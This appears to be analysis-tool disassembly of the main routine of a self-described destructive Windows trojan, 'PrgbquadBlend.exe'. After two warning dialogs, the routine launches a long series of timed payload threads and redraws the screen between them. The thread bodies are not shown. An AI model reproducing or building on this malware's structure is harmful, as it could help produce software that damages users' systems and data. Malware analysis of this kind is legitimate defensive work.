Function at 0x4045a0
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push edi
push 0x34
push str.PrgbquadBlend.exe______WARNING___
push str.___WARNING____n_nYou_have_ran_a_Trojan_known_as_PrgbquadBlend.exe_that_has_full_capacity_to_delete_all_of_your_data_and_your_operating_system._n_nBy_continuing__you_keep_in_mind_that_the_creator_will_not_be_responsible_for_any_damage_caused_by_this_trojan_and_it_is_highly_recommended_that_you_run_this_in_a_testing_virtual_machine_where_a_snapshot_has_been_made_before_execution_for_the_sake_of_entertainment_and_analysis._n_nAre_you_sure_you_want_to_run_this_
push 0
call esi
cmp eax, 6
je 0x4045c5
push 1
call fcn.0040621d
push 0x34
push str.PrgbquadBlend.exe______FINAL_WARNING___
push str.___FINAL_WARNING____n_nThis_Trojan_has_a_lot_of_destructive_potential._You_will_lose_all_of_your_data_if_you_continue__and_the_creator_will_not_be_responsible_for_any_of_the_damage_caused._This_is_not_meant_to_be_malicious_but_simply_for_entertainment_and_educational_purposes._n_nAre_you_sure_you_want_to_continue__nThis_is_your_final_chance_to_stop_this_program_from_execution.
push 0
call esi
cmp eax, 6
je 0x4045e1
push 1
call fcn.0040621d
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x9c4
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401960
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4019d0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x401a40
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x401ab0
push 0
push 0
call ebx
push 0x2710
mov esi, eax
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
mov edi, dword [sym.imp.USER32.dll_RedrawWindow]
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x401d10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x401f00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4020f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4022a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x402540
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x402730
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x402910
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x402af0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x402ce0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x402f90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x403160
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x403340
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x403550
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x403760
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x403970
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x403b70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x403e30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x404040
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x404040
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x404330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0x85
push 0
push 0
push 0
call edi
push 1
call fcn.0040621d
int3